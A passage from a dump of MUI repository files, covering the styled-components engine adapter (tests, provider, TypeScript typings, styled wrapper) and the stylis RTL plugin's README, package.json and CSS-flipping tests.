    "content": "import { expect } from 'chai';\nimport { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport { ThemeProvider } from 'styled-components';\nimport styled from '..';\nimport GlobalStyles from './GlobalStyles';\n\ndescribe('GlobalStyles', () => {\n  const { render } = createRenderer();\n\n  it.skipIf(isJsdom())('should add global styles', function test() {\n    const { container } = render(\n      <div>\n        <GlobalStyles styles={`span { color: rgb(0, 0, 255); }`} />\n        <span>Blue text</span>\n      </div>,\n    );\n\n    expect(container.getElementsByTagName('span')[0]).toHaveComputedStyle({\n      color: 'rgb(0, 0, 255)',\n    });\n  });\n\n  it.skipIf(isJsdom())('should add global styles using JS syntax', function test() {\n    const { container } = render(\n      <div>\n        <GlobalStyles styles={{ span: { color: 'rgb(0, 0, 255)' } }} />\n        <span>Blue text</span>\n      </div>,\n    );\n\n    expect(container.getElementsByTagName('span')[0]).toHaveComputedStyle({\n      color: 'rgb(0, 0, 255)',\n    });\n  });\n\n  it.skipIf(isJsdom())('should add global styles using function', function test() {\n    const { container } = render(\n      <ThemeProvider theme={{ color: 'rgb(0, 0, 255)' }}>\n        <GlobalStyles styles={(theme) => ({ span: { color: theme.color } })} />\n        <span>Blue text</span>\n      </ThemeProvider>,\n    );\n\n    expect(container.getElementsByTagName('span')[0]).toHaveComputedStyle({\n      color: 'rgb(0, 0, 255)',\n    });\n  });\n\n  it('should not throw if no theme is available', () => {\n    expect(() =>\n      render(\n        <GlobalStyles\n          defaultTheme={{ color: 'rgb(0, 0, 255)' }}\n          styles={(theme) => ({ span: { color: theme.color } })}\n        />,\n      ),\n    ).not.to.throw();\n  });\n\n  it.skipIf(isJsdom())('should give precedence to styled()', function test() {\n    const Span = styled('span')`\n      color: rgb(255, 0, 0);\n    `;\n\n    const { container } = render(\n      <div>\n        <GlobalStyles styles={`span { color: rgb(0, 0, 255); }`} />\n        <Span>Red text</Span>\n      </div>,\n    );\n\n    expect(container.getElementsByTagName('span')[0]).toHaveComputedStyle({\n      color: 'rgb(255, 0, 0)',\n    });\n  });\n\n  it.skipIf(isJsdom())('should give precedence to styled() using JS syntax', function test() {\n    const Span = styled('span')({\n      color: 'rgb(255, 0, 0)',\n    });\n\n    const { container } = render(\n      <div>\n        <GlobalStyles styles={{ span: { color: 'rgb(0, 0, 255)' } }} />\n        <Span>Red text</Span>\n      </div>,\n    );\n\n    expect(container.getElementsByTagName('span')[0]).toHaveComputedStyle({\n      color: 'rgb(255, 0, 0)',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/GlobalStyles/index.d.ts",
    "content": "export { default } from './GlobalStyles';\nexport * from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/GlobalStyles/index.js",
    "content": "export { default } from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/StyledEngineProvider/StyledEngineProvider.d.ts",
    "content": "import * as React from 'react';\n\nexport interface StyledEngineProviderProps {\n  children?: React.ReactNode;\n  injectFirst?: boolean | undefined;\n}\n\nexport default function StyledEngineProvider(props: StyledEngineProviderProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/StyledEngineProvider/StyledEngineProvider.js",
    "content": "import PropTypes from 'prop-types';\n\nexport default function StyledEngineProvider(props) {\n  const { injectFirst, children } = props;\n\n  if (injectFirst && typeof window !== 'undefined') {\n    const head = document.head;\n    if (!head.querySelector('[data-styled=\"active\"]')) {\n      const injectFirstNode = document.createElement('style');\n      injectFirstNode.setAttribute('data-styled', 'active');\n      head.insertBefore(injectFirstNode, head.firstChild);\n    }\n  }\n\n  return children;\n}\n\nStyledEngineProvider.propTypes = {\n  /**\n   * Your component tree.\n   */\n  children: PropTypes.node,\n  /**\n   * By default, the styles are injected last in the <head> element of the page.\n   * As a result, they gain more specificity than any other style sheet.\n   * If you want to override MUI's styles, set this prop.\n   */\n  injectFirst: PropTypes.bool,\n};\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/StyledEngineProvider/index.d.ts",
    "content": "export { default } from './StyledEngineProvider';\nexport * from './StyledEngineProvider';\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/StyledEngineProvider/index.js",
    "content": "export { default } from './StyledEngineProvider';\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/index.d.ts",
    "content": "import * as React from 'react';\nimport * as CSS from 'csstype';\nimport * as hoistNonReactStatics from 'hoist-non-react-statics';\n\ntype WithOptionalTheme<P extends { theme?: T | undefined }, T> = OmitU<P, 'theme'> & {\n  theme?: T | undefined;\n};\n\n// Helper type operators\n// Pick that distributes over union types\nexport type PickU<T, K extends keyof T> = T extends any ? { [P in K]: T[P] } : never;\nexport type OmitU<T, K extends keyof T> = T extends any ? PickU<T, Exclude<keyof T, K>> : never;\n\n// Any prop that has a default prop becomes optional, but its type is unchanged\n// Undeclared default props are augmented into the resulting allowable attributes\n// If declared props have indexed properties, ignore default props entirely as keyof gets widened\n// Wrap in an outer-level conditional type to allow distribution over props that are unions\ntype Defaultize<P, D> = P extends any\n  ? string extends keyof P\n    ? P\n    : PickU<P, Exclude<keyof P, keyof D>> &\n        Partial<PickU<P, Extract<keyof P, keyof D>>> &\n        Partial<PickU<D, Exclude<keyof D, keyof P>>>\n  : never;\n\nexport type IntrinsicElementsKeys = keyof React.JSX.IntrinsicElements;\ntype ReactDefaultizedProps<C, P> = C extends { defaultProps: infer D } ? Defaultize<P, D> : P;\n\ntype MakeAttrsOptional<\n  C extends string | React.ComponentType<any>,\n  O extends object,\n  A extends keyof P,\n  P = React.ComponentPropsWithRef<\n    C extends IntrinsicElementsKeys | React.ComponentType<any> ? C : never\n  >,\n> =\n  // Distribute unions early to avoid quadratic expansion\n  P extends any ? OmitU<ReactDefaultizedProps<C, P> & O, A> & Partial<PickU<P & O, A>> : never;\n\nexport type StyledComponentProps<\n  // The Component from whose props are derived\n  C extends string | React.ComponentType<any>,\n  // The Theme from the current context\n  T extends object,\n  // The other props added by the template\n  O extends object,\n  // The props that are made optional by .attrs\n  A extends keyof any,\n  // The Component passed with \"forwardedAs\" prop\n  FAsC extends string | React.ComponentType<any> = C,\n> =\n  // Distribute O if O is a union type\n  O extends object\n    ? WithOptionalTheme<MakeAttrsOptional<C, O, A> & MakeAttrsOptional<FAsC, O, A>, T>\n    : never;\n\nexport interface ThemeProps<T> {\n  theme: T;\n}\n\nexport type ThemedStyledProps<P, T> = P & ThemeProps<T>;\n\nexport interface Keyframes {\n  getName(): string;\n}\n\nexport * from 'styled-components';\nexport { default } from 'styled-components';\n\nexport { default as StyledEngineProvider } from './StyledEngineProvider';\n\nexport { default as GlobalStyles } from './GlobalStyles';\nexport * from './GlobalStyles';\n\n/**\n * For internal usage in `@mui/system` package\n */\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_mutateStyles(\n  tag: React.ElementType,\n  processor: (styles: any) => any,\n): void;\n\n// Not needed anymore, but fixes https://github.com/mui/material-ui/issues/44112\n// TODO: Remove it in v7\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_processStyles(\n  tag: React.ElementType,\n  processor: (styles: any) => any,\n): void;\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_serializeStyles<P>(styles: Interpolation<P>): object;\n\n// These are the same as the ones in @mui/styled-engine\n// CSS.PropertiesFallback are necessary so that we support spreading of the mixins. For example:\n// '@font-face'?: Fontface | Fontface[]\nexport type CSSProperties = CSS.PropertiesFallback<number | string>;\nexport type CSSPropertiesWithMultiValues = {\n  [K in keyof CSSProperties]: CSSProperties[K] | Array<Extract<CSSProperties[K], string>>;\n};\nexport type CSSPseudos = { [K in CSS.Pseudos]?: unknown | CSSObject };\n\nexport interface CSSOthersObject {\n  [propertiesName: string]: unknown | CSSInterpolation;\n}\nexport type CSSPseudosForCSSObject = { [K in CSS.Pseudos]?: CSSObject };\n\nexport interface ArrayCSSInterpolation extends Array<CSSInterpolation> {}\n\nexport interface CSSOthersObjectForCSSObject {\n  [propertiesName: string]: CSSInterpolation;\n}\n\n// Omit variants as a key, because we have a special handling for it\nexport interface CSSObject\n  extends CSSPropertiesWithMultiValues, CSSPseudos, Omit<CSSOthersObject, 'variants'> {}\n\ninterface CSSObjectWithVariants<Props> extends Omit<CSSObject, 'variants'> {\n  variants: Array<{\n    props: Props | ((props: Props) => boolean);\n    style:\n      | CSSObject\n      | ((args: Props extends { theme: any } ? { theme: Props['theme'] } : any) => CSSObject);\n  }>;\n}\n\nexport type FalseyValue = undefined | null | false;\nexport type Interpolation<P> =\n  | InterpolationValue\n  | CSSObjectWithVariants<P>\n  | InterpolationFunction<P>\n  | FlattenInterpolation<P>;\n// cannot be made a self-referential interface, breaks WithPropNested\n// see https://github.com/microsoft/TypeScript/issues/34796\nexport type FlattenInterpolation<P> = ReadonlyArray<Interpolation<P>>;\nexport type InterpolationValue =\n  | string\n  | number\n  | FalseyValue\n  | Keyframes\n  | StyledComponentInterpolation\n  | CSSObject;\nexport type SimpleInterpolation = InterpolationValue | FlattenSimpleInterpolation;\n// adapter for compatibility with @mui/styled-engine\nexport type CSSInterpolation = SimpleInterpolation;\nexport type FlattenSimpleInterpolation = ReadonlyArray<SimpleInterpolation>;\n\nexport type InterpolationFunction<P> = (props: P) => Interpolation<P>;\n\n// abuse Pick to strip the call signature from ForwardRefExoticComponent\ntype ForwardRefExoticBase<P> = PickU<\n  React.ForwardRefExoticComponent<P>,\n  keyof React.ForwardRefExoticComponent<any>\n>;\n\ntype StyledComponentPropsWithAs<\n  C extends string | React.ComponentType<any>,\n  T extends object,\n  O extends object,\n  A extends keyof any,\n  AsC extends string | React.ComponentType<any> = C,\n  FAsC extends string | React.ComponentType<any> = C,\n> = StyledComponentProps<C, T, O, A, FAsC> & {\n  as?: AsC | undefined;\n  forwardedAs?: FAsC | undefined;\n};\n\nexport type StyledComponent<\n  C extends keyof React.JSX.IntrinsicElements | React.ComponentType<any>,\n  T extends object = {},\n  O extends object = {},\n  A extends keyof any = never,\n> = // the \"string\" allows this to be used as an object key\n  // I really want to avoid this if possible but it's the only way to use nesting with object styles...\n  string &\n    StyledComponentBase<C, T, O, A> &\n    hoistNonReactStatics.NonReactStatics<C extends React.ComponentType<any> ? C : never>;\n\n// any doesn't count as assignable to never in the extends clause, and we default A to never\nexport type AnyStyledComponent =\n  | StyledComponent<any, any, any, any>\n  | StyledComponent<any, any, any>\n  | React.FunctionComponent<any>\n  | React.ComponentType<any>;\n\nexport type StyledComponentInnerComponent<C extends AnyStyledComponent> =\n  C extends StyledComponent<infer I, any, any, any>\n    ? I\n    : C extends StyledComponent<infer I, any, any>\n      ? I\n      : C;\n\nexport type StyledComponentInnerOtherProps<C extends AnyStyledComponent> =\n  C extends StyledComponent<any, any, infer O, any>\n    ? O\n    : C extends StyledComponent<any, any, infer O>\n      ? O\n      : never;\nexport type StyledComponentInnerAttrs<C extends AnyStyledComponent> =\n  C extends StyledComponent<any, any, any, infer A> ? A : never;\n\nexport interface StyledComponentBase<\n  C extends string | React.ComponentType<any>,\n  T extends object,\n  O extends object = {},\n  A extends keyof any = never,\n> extends ForwardRefExoticBase<StyledComponentProps<C, T, O, A>> {\n  // add our own fake call signature to implement the polymorphic 'as' prop\n  (\n    props: StyledComponentProps<C, T, O, A> & {\n      as?: never | undefined;\n      forwardedAs?: never | undefined;\n    },\n  ): React.ReactElement<StyledComponentProps<C, T, O, A>>;\n  <\n    AsC extends string | React.ComponentType<any> = C,\n    FAsC extends string | React.ComponentType<any> = AsC,\n  >(\n    props: StyledComponentPropsWithAs<AsC, T, O, A, AsC, FAsC>,\n  ): React.ReactElement<StyledComponentPropsWithAs<AsC, T, O, A, AsC, FAsC>>;\n\n  withComponent<WithC extends AnyStyledComponent>(\n    component: WithC,\n  ): StyledComponent<\n    StyledComponentInnerComponent<WithC>,\n    T,\n    O & StyledComponentInnerOtherProps<WithC>,\n    A | StyledComponentInnerAttrs<WithC>\n  >;\n  withComponent<WithC extends keyof React.JSX.IntrinsicElements | React.ComponentType<any>>(\n    component: WithC,\n  ): StyledComponent<WithC, T, O, A>;\n}\n\n// remove the call signature from StyledComponent so Interpolation can still infer InterpolationFunction\ntype StyledComponentInterpolation =\n  | Pick<StyledComponentBase<any, any, any, any>, keyof StyledComponentBase<any, any>>\n  | Pick<StyledComponentBase<any, any, any>, keyof StyledComponentBase<any, any>>;\n\n// These are typings coming from styled-components\n// They are adjusted to accept the extended options coming from mui\ntype AnyIfEmpty<T extends object> = keyof T extends never ? any : T;\n\ntype ThemedStyledComponentFactories<T extends object> = {\n  [TTag in keyof React.JSX.IntrinsicElements]: ThemedStyledFunctionBase<TTag, T>;\n};\n\nexport type StyledComponentPropsWithRef<\n  C extends keyof React.JSX.IntrinsicElements | React.ComponentType<any>,\n> = C extends AnyStyledComponent\n  ? React.ComponentPropsWithRef<StyledComponentInnerComponent<C>>\n  : React.ComponentPropsWithRef<C>;\n\n// Same as in styled-components, but copied here so that it would use the Interpolation & CSS typings from above\nexport interface ThemedStyledFunctionBase<\n  C extends keyof React.JSX.IntrinsicElements | React.ComponentType<any>,\n  T extends object,\n  O extends object = {},\n  A extends keyof any = never,\n> {\n  (first: TemplateStringsArray): StyledComponent<C, T, O, A>;\n  (\n    first:\n      | TemplateStringsArray\n      | CSSObject\n      | InterpolationFunction<ThemedStyledProps<StyledComponentPropsWithRef<C> & O, T>>,\n    ...other: Array<Interpolation<ThemedStyledProps<StyledComponentPropsWithRef<C> & O, T>>>\n  ): StyledComponent<C, T, O, A>;\n  <U extends object>(\n    first:\n      | TemplateStringsArray\n      | CSSObject\n      | InterpolationFunction<ThemedStyledProps<StyledComponentPropsWithRef<C> & O & U, T>>,\n    ...other: Array<Interpolation<ThemedStyledProps<StyledComponentPropsWithRef<C> & O & U, T>>>\n  ): StyledComponent<C, T, O & U, A>;\n}\n\n// same as ThemedStyledFunction in styled-components, but without attrs, and withConfig\nexport interface ThemedStyledFunction<\n  C extends keyof React.JSX.IntrinsicElements | React.ComponentType<any>,\n  T extends object,\n  O extends object = {},\n  A extends keyof any = never,\n> extends ThemedStyledFunctionBase<C, T, O, A> {}\n\nexport type CreateStyledComponent<\n  ComponentProps extends {},\n  SpecificComponentProps extends {} = {},\n  JSXProps extends {} = {},\n  T extends object = {},\n> = ThemedStyledFunction<React.ComponentType<ComponentProps>, T, SpecificComponentProps & JSXProps>;\n\n// Config to be used with withConfig\nexport interface StyledConfig<O extends object = {}> {\n  // TODO: Add all types from the original StyledComponentWrapperProperties\n  componentId?: string | undefined;\n  displayName?: string | undefined;\n  label?: string | undefined;\n  target?: string | undefined;\n  shouldForwardProp?:\n    | ((prop: keyof O, defaultValidatorFn: (prop: keyof O) => boolean) => boolean)\n    | undefined;\n}\n\n/** Same as StyledConfig but shouldForwardProp must be a type guard */\nexport interface FilteringStyledOptions<Props, ForwardedProps extends keyof Props = keyof Props> {\n  componentId?: string | undefined;\n  displayName?: string | undefined;\n  label?: string | undefined;\n  shouldForwardProp?(propName: PropertyKey): propName is ForwardedProps;\n  target?: string | undefined;\n}\n\n// same as ThemedBaseStyledInterface in styled-components, but with added options & common props for MUI components\nexport interface ThemedBaseStyledInterface<\n  MUIStyledCommonProps extends object,\n  MuiStyledOptions extends object,\n  Theme extends object,\n> extends ThemedStyledComponentFactories<Theme> {\n  <\n    C extends React.ComponentClass<React.ComponentProps<C>>,\n    ForwardedProps extends keyof React.ComponentProps<C> = keyof React.ComponentProps<C>,\n  >(\n    component: C,\n    options: FilteringStyledOptions<React.ComponentProps<C>, ForwardedProps> & MuiStyledOptions,\n  ): CreateStyledComponent<\n    Pick<PropsOf<C>, ForwardedProps> & MUIStyledCommonProps,\n    {},\n    {\n      ref?: React.Ref<InstanceType<C>> | undefined;\n    },\n    Theme\n  >;\n\n  <C extends React.ComponentClass<React.ComponentProps<C>>>(\n    component: C,\n    options?: StyledConfig<PropsOf<C> & MUIStyledCommonProps> & MuiStyledOptions,\n  ): CreateStyledComponent<\n    PropsOf<C> & MUIStyledCommonProps,\n    {},\n    {\n      ref?: React.Ref<InstanceType<C>> | undefined;\n    },\n    Theme\n  >;\n\n  <\n    C extends React.JSXElementConstructor<React.ComponentProps<C>>,\n    ForwardedProps extends keyof React.ComponentProps<C> = keyof React.ComponentProps<C>,\n  >(\n    component: C,\n    options: FilteringStyledOptions<React.ComponentProps<C>, ForwardedProps> & MuiStyledOptions,\n  ): CreateStyledComponent<Pick<PropsOf<C>, ForwardedProps> & MUIStyledCommonProps, {}, {}, Theme>;\n\n  <C extends React.JSXElementConstructor<React.ComponentProps<C>>>(\n    component: C,\n    options?: StyledConfig<PropsOf<C> & MUIStyledCommonProps> & MuiStyledOptions,\n  ): CreateStyledComponent<PropsOf<C> & MUIStyledCommonProps, {}, {}, Theme>;\n\n  <\n    Tag extends keyof React.JSX.IntrinsicElements,\n    ForwardedProps extends keyof React.JSX.IntrinsicElements[Tag] =\n      keyof React.JSX.IntrinsicElements[Tag],\n  >(\n    tag: Tag,\n    options: FilteringStyledOptions<React.JSX.IntrinsicElements[Tag], ForwardedProps> &\n      MuiStyledOptions,\n  ): CreateStyledComponent<\n    MUIStyledCommonProps,\n    Pick<React.JSX.IntrinsicElements[Tag], ForwardedProps>,\n    {},\n    Theme\n  >;\n\n  <Tag extends keyof React.JSX.IntrinsicElements>(\n    tag: Tag,\n    options?: StyledConfig<MUIStyledCommonProps> & MuiStyledOptions,\n  ): CreateStyledComponent<MUIStyledCommonProps, React.JSX.IntrinsicElements[Tag], {}, Theme>;\n}\n\nexport type CreateMUIStyled<\n  MUIStyledCommonProps extends object = {},\n  MuiStyledOptions extends object = {},\n  T extends object = {},\n> = ThemedBaseStyledInterface<MUIStyledCommonProps, MuiStyledOptions, AnyIfEmpty<T>>;\n\nexport type PropsOf<\n  C extends keyof React.JSX.IntrinsicElements | React.JSXElementConstructor<any>,\n> = React.JSX.LibraryManagedAttributes<C, React.ComponentProps<C>>;\n\nexport interface MUIStyledComponent<\n  ComponentProps extends {},\n  SpecificComponentProps extends {} = {},\n  JSXProps extends {} = {},\n> extends React.FC<ComponentProps & SpecificComponentProps & JSXProps> {\n  withComponent<C extends React.ComponentClass<React.ComponentProps<C>>>(\n    component: C,\n  ): MUIStyledComponent<\n    ComponentProps & PropsOf<C>,\n    {},\n    { ref?: React.Ref<InstanceType<C>> | undefined }\n  >;\n  withComponent<C extends React.ComponentType<React.ComponentProps<C>>>(\n    component: C,\n  ): MUIStyledComponent<ComponentProps & PropsOf<C>>;\n  withComponent<Tag extends keyof React.JSX.IntrinsicElements>(\n    tag: Tag,\n  ): MUIStyledComponent<ComponentProps, React.JSX.IntrinsicElements[Tag]>;\n}\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/index.js",
    "content": "import scStyled from 'styled-components';\n\nexport default function styled(tag, options) {\n  let stylesFactory;\n\n  if (options) {\n    stylesFactory = scStyled(tag).withConfig({\n      displayName: options.label,\n      shouldForwardProp: options.shouldForwardProp,\n    });\n  } else {\n    stylesFactory = scStyled(tag);\n  }\n\n  if (process.env.NODE_ENV !== 'production') {\n    const fn = (...styles) => {\n      const component = typeof tag === 'string' ? `\"${tag}\"` : 'component';\n      if (styles.length === 0) {\n        console.error(\n          [\n            `MUI: Seems like you called \\`styled(${component})()\\` without a \\`style\\` argument.`,\n            'You must provide a `styles` argument: `styled(\"div\")(styleYouForgotToPass)`.',\n          ].join('\\n'),\n        );\n      } else if (styles.some((style) => style === undefined)) {\n        console.error(\n          `MUI: the styled(${component})(...args) API requires all its args to be defined.`,\n        );\n      }\n      return stylesFactory(...styles);\n    };\n    fn.withConfig = stylesFactory.withConfig;\n    return fn;\n  }\n\n  return stylesFactory;\n}\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_mutateStyles(tag, processor) {\n  // Styled-components attaches an instance to `componentStyle`.\n  // https://github.com/styled-components/styled-components/blob/da8151762dcf72735ffba358173d4c097f6d5888/packages/styled-components/src/models/StyledComponent.ts#L257\n  //\n  // The instance contains `rules` (the styles)\n  // https://github.com/styled-components/styled-components/blob/da8151762dcf72735ffba358173d4c097f6d5888/packages/styled-components/src/models/ComponentStyle.ts#L23\n  if (tag.componentStyle) {\n    tag.componentStyle.rules = processor(tag.componentStyle.rules);\n  }\n}\n\n// Not needed anymore, but fixes https://github.com/mui/material-ui/issues/44112\n// TODO: Remove it in v7\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_processStyles(tag, processor) {\n  return internal_mutateStyles(tag, processor);\n}\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_serializeStyles(styles) {\n  return styles;\n}\n\nexport { ThemeContext, keyframes, css } from 'styled-components';\nexport { default as StyledEngineProvider } from './StyledEngineProvider';\nexport { default as GlobalStyles } from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/src/styled.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport styled from '@mui/styled-engine-sc';\n\ndescribe('styled', () => {\n  const { render } = createRenderer();\n\n  it('should help debug wrong args', () => {\n    expect(() => {\n      expect(() => {\n        styled('span')();\n        // Error message changes between browsers.\n        // It's not relevant to the test anyway.\n      }).to.throw();\n    }).toErrorDev('MUI: Seems like you called `styled(\"span\")()` without a `style` argument');\n\n    expect(() => {\n      expect(() => {\n        styled('span')(undefined, { color: 'red' });\n        // Error message changes between browsers.\n        // It's not relevant to the test anyway.\n      }).to.throw();\n    }).toErrorDev('MUI: the styled(\"span\")(...args) API requires all its args to be defined');\n  });\n\n  it('should respect the options', () => {\n    const StyledComponent = styled('div', {\n      shouldForwardProp: (prop) => prop !== 'color',\n      label: 'TestComponent',\n    })({ color: 'red' });\n\n    render(<StyledComponent data-testid=\"component\" color=\"blue\" />);\n\n    expect(screen.getByTestId('component')).not.to.have.attribute('color');\n    expect(screen.getByTestId('component').className).to.match(/^TestComponent-/);\n  });\n\n  it(\"should not allow styled-components's APIs: .attrs\", () => {\n    expect(typeof styled('span').attrs).to.equal('undefined');\n  });\n\n  // The babel-plugin-styled-components depends on the withConfig option to be defined\n  it(\"should allow styled-components's APIs: .withConfig\", () => {\n    expect(typeof styled('span').withConfig).to.equal('function');\n  });\n});\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"skipLibCheck\": true\n  },\n  \"include\": [\"src/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/vitest.config.browser.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/mui-styled-engine-sc/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-stylis-plugin-rtl/README.md",
    "content": "# @mui/stylis-plugin-rtl\n\nStylis RTL plugin for Material UI.\n\n> Note: this is a fork of [stylis-plugin-rtl](https://github.com/styled-components/stylis-plugin-rtl) to fix issues with CSS layers and to support the latest version of Stylis.\n\n## Installation\n\n```bash\nnpm install @mui/stylis-plugin-rtl @emotion/cache stylis\n```\n\n## Usage\n\n```js\nimport * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport TextField from '@mui/material/TextField';\nimport rtlPlugin from '@mui/stylis-plugin-rtl';\nimport { prefixer } from 'stylis';\nimport { CacheProvider } from '@emotion/react';\nimport createCache from '@emotion/cache';\n\nconst theme = createTheme({\n  direction: 'rtl',\n});\n\nconst cacheRtl = createCache({\n  key: 'muirtl',\n  stylisPlugins: [prefixer, rtlPlugin],\n});\n\nexport default function RtlDemo() {\n  return (\n    <CacheProvider value={cacheRtl}>\n      <ThemeProvider theme={theme}>\n        <div dir=\"rtl\">\n          <TextField\n            label=\"ملصق\"\n            placeholder=\"العنصر النائب\"\n            helperText=\"هذا نص مساعد\"\n            variant=\"outlined\"\n          />\n        </div>\n      </ThemeProvider>\n    </CacheProvider>\n  );\n}\n```\n\nFor more information, see the [RTL documentation](https://mui.com/material-ui/guides/right-to-left/).\n"
  },
  {
    "path": "packages/mui-stylis-plugin-rtl/package.json",
    "content": "{\n  \"name\": \"@mui/stylis-plugin-rtl\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"A plugin for Material UI that provides RTL (right-to-left) support.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"rtl\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-stylis-plugin-rtl\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://github.com/mui/material-ui/tree/master/packages/mui-utils\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/stylis-plugin-rtl\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"attw\": \"attw --pack ./build\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"cssjanus\": \"^2.3.0\"\n  },\n  \"devDependencies\": {\n    \"@types/chai\": \"5.2.3\",\n    \"@types/node\": \"20.19.37\",\n    \"@types/stylis\": \"4.2.7\",\n    \"chai\": \"6.2.2\",\n    \"stylis\": \"4.3.6\"\n  },\n  \"peerDependencies\": {\n    \"stylis\": \"4.x\"\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.ts\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-stylis-plugin-rtl/src/index.test.ts",
    "content": "import { expect } from 'chai';\nimport { compile, Middleware, middleware, prefixer, serialize, stringify } from 'stylis';\nimport muiRtlPlugin from '@mui/stylis-plugin-rtl';\n\nconst stylis = (css: string, extraPlugins: Middleware[] = []) =>\n  serialize(compile(css), middleware([...extraPlugins, muiRtlPlugin, stringify]));\n\ndescribe('integration test with stylis', () => {\n  it('flips simple rules', () => {\n    expect(\n      stylis(\n        `.a {\n          padding-left: 5px;\n          margin-right: 5px;\n          border-left: 1px solid red;\n        }\n      `,\n      ),\n    ).to.equal(`.a{padding-right:5px;margin-left:5px;border-right:1px solid red;}`);\n  });\n\n  it('flips shorthands', () => {\n    expect(\n      stylis(\n        `.a {\n          padding: 0 5px 0 0;\n          margin: 0 0 0 5px;\n        }\n        `,\n      ),\n    ).to.equal(`.a{padding:0 0 0 5px;margin:0 5px 0 0;}`);\n  });\n\n  it('handles noflip directives', () => {\n    expect(\n      stylis(\n        `\n          .a {\n            /* @noflip */\n            padding: 0 5px 0 0;\n            margin: 0 0 0 5px;\n          }\n        `,\n      ),\n    ).to.equal(`.a{padding:0 5px 0 0;margin:0 5px 0 0;}`);\n  });\n\n  it('flips keyframes', () => {\n    expect(\n      stylis(\n        `@keyframes a {\n          0% { left: 0px; }\n          100% { left: 100px; }\n        }\n      `,\n      ),\n    ).to.equal(`@keyframes a{0%{right:0px;}100%{right:100px;}}`);\n  });\n\n  it('flips media queries', () => {\n    expect(\n      stylis(\n        `@media (min-width: 500px) {\n          .a {\n            padding-left: 5px;\n            margin-right: 5px;\n            border-left: 1px solid red;\n          }\n        }\n      `,\n      ),\n    ).to.equal(\n      `@media (min-width: 500px){.a{padding-right:5px;margin-left:5px;border-right:1px solid red;}}`,\n    );\n  });\n\n  it('flips supports queries', () => {\n    expect(\n      stylis(\n        `@supports (display: flex) {\n          .a {\n            padding-left: 5px;\n            margin-right: 5px;\n            border-left: 1px solid red;\n          }\n        }\n      `,\n      ),\n    ).to.equal(\n      `@supports (display: flex){.a{padding-right:5px;margin-left:5px;border-right:1px solid red;}}`,\n    );\n  });\n\n  it('works in tandem with prefixer', () => {\n    expect(\n      stylis(\n        `@keyframes a {\n          0% { left: 0px; }\n          100% { left: 100px; }\n        }\n      `,\n        [prefixer],\n      ),\n    ).to.equal(\n      `@-webkit-keyframes a{0%{right:0px;}100%{right:100px;}}@keyframes a{0%{right:0px;}100%{right:100px;}}`,\n    );\n  });\n\n  it(\"doesn't crash on empty rules\", () => {\n    // this generates nodes for:\n    // .cls{}\n    // .cls .nested{color:hotpink;}\n    expect(\n      stylis(`\n        .cls {\n          & .nested {\n            color:hotpink;\n          }\n        }\n      `),\n    ).to.equal(`.cls .nested{color:hotpink;}`);\n  });\n\n  it('works for nested rules', () => {\n    expect(\n      stylis(`\n        .cls {\n          margin-right: 32px;\n          & .first-child {\n            margin-right: 32px;\n          }\n        }\n      `),\n    ).to.equal(`.cls{margin-left:32px;}.cls .first-child{margin-left:32px;}`);\n  });\n\n  it('works for layer rules', () => {\n    expect(\n      stylis(`\n        @layer default {\n          .cls {\n            margin-right: 32px;\n            & .first-child {\n              margin-right: 32px;\n            }\n          }\n        }\n      `),\n    ).to.equal(`@layer default{.cls{margin-left:32px;}.cls .first-child{margin-left:32px;}}`);\n  });\n\n  it('works for nested layer rules', () => {\n    expect(\n      stylis(`\n        @layer root {\n          .foo {\n            margin-right: 32px;\n          }\n          @layer default {\n            .cls {\n              margin-right: 32px;\n              & .first-child {\n                margin-right: 